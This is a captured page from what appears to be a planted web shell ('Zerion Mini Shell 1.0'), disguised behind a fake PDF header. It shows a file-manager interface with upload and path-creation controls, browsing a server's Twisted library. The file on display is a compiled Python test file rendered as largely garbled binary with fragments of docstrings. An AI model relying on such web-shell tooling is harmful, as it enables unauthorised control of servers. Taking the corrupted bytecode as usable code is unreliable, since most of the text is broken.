%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/test_default.cpython-312.pyc

�

Ϫ�f�
���dZddlmZddlZddlZddlmZddlmZddl	m
Z
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZedd
�Zedd�Zedd�Zedd�ZGd�de�ZGd�de�ZGd�de�Zy)z(
Tests for L{twisted.internet.default}.
�)�annotationsN)�Callable)�default)�_getInstallFunction�install)�IReactorCore)�	NoReactor)�
requireModule)�Platform)�SynchronousTestCase�posix�other�linux2�nt�win32�darwinc�(�eZdZdZdd�Zdd�Zdd�Zy)�PollReactorTestsz�
    Tests for the cases of L{twisted.internet.default._getInstallFunction}
    in which it picks the poll(2) or epoll(7)-based reactors.
    c��ttd�r|j|jd�y|j|jd�y)zz
        Assert the given function will install the poll() reactor, or select()
        if poll() is unavailable.
        �pollztwisted.internet.pollreactor�twisted.internet.selectreactorN)�hasattr�select�assertEqual�
__module__��selfrs  �D/usr/lib/python3/dist-packages/twisted/internet/test/test_default.py�assertIsPollzPollReactorTests.assertIsPoll!s<��
�6�6�"����W�/�/�1O�P����W�/�/�1Q�R�c�D�tt�}|j|�y)z�
        L{_getInstallFunction} chooses the poll reactor on arbitrary Unix
        platforms, falling back to select(2) if it is unavailable.
        N)r�unixrrs  r�	test_unixzPollReactorTests.test_unix+s��
&�d�+�����'�"r c��tt�}td��|j|�y|j	|j
d�y)zu
        L{_getInstallFunction} chooses the epoll reactor on Linux, or poll if
        epoll is unavailable.
        ztwisted.internet.epollreactorN)r�linuxr
rrrrs  r�
test_linuxzPollReactorTests.test_linux3s?��
&�e�,���8�9�A����g�&����W�/�/�1P�Qr N)rzCallable[..., object]�return�None�r'r()�__name__r�__qualname__�__doc__rr#r&�r rrrs���
S�#�	Rr rc� �eZdZdZdd�Zdd�Zy)�SelectReactorTestsz�
    Tests for the cases of L{twisted.internet.default._getInstallFunction}
    in which it picks the select(2)-based reactor.
    c�Z�tt�}|j|jd�y)zM
        L{_getInstallFunction} chooses the select reactor on macOS.
        rN)r�osxrrrs  r�test_osxzSelectReactorTests.test_osxEs%��&�c�*������+�+�-M�Nr c�Z�tt�}|j|jd�y)zO
        L{_getInstallFunction} chooses the select reactor on Windows.
        rN)r�windowsrrrs  r�test_windowszSelectReactorTests.test_windowsLs%��&�g�.������+�+�-M�Nr Nr))r*rr+r,r2r5r-r rr/r/?s���
O�Or r/c� �eZdZdZdd�Zdd�Zy)�InstallationTestsz7
    Tests for actual installation of the reactor.
    c��t�5t�|jdtj�ddd�y#1swYyxYw)z0
        L{install} installs a reactor.
        ztwisted.internet.reactorN)r	r�assertIn�sys�modules)rs r�test_installzInstallationTests.test_installYs:���[�	C��I��M�M�4�c�k�k�B�	C�	C�	C�s	�+?�Ac���g�d�fd�}|jtd|�t�5ddlm}|jt
j|��|j�dg�ddd�y#1swYyxYw)zr
        Importing L{twisted.internet.reactor} installs the default reactor if
        none is installed.
        c�:���jd�t�S)NT)�appendr)�	installeds�r�	installerz1InstallationTests.test_reactor.<locals>.installerhs������T�"��9�r rr)�reactorTN)r'�object)	�patchrr	�twisted.internetrB�
assertTruer�
providedByr)rrArBr@s   @r�test_reactorzInstallationTests.test_reactorasg���
!#�	�	�	
�
�
�7�I�y�1�
�[�	0�0��O�O�L�3�3�G�<�=����Y���/�		0�	0�	0�s�>A2�2A;Nr))r*rr+r,r<rHr-r rr7r7Ts���C�0r r7)r,�
__future__rrr:�typingrrEr�twisted.internet.defaultrr�twisted.internet.interfacesr�twisted.internet.test.test_mainr	�twisted.python.reflectr
�twisted.python.runtimer�twisted.trial.unittestrr"r%r4r1rr/r7r-r r�<module>rQs����#�
�
��$�A�4�5�0�+�6����!����(�#��
�4��
!���w��!��!R�*�!R�HO�,�O�*0�+�0r 

Zerion Mini Shell 1.0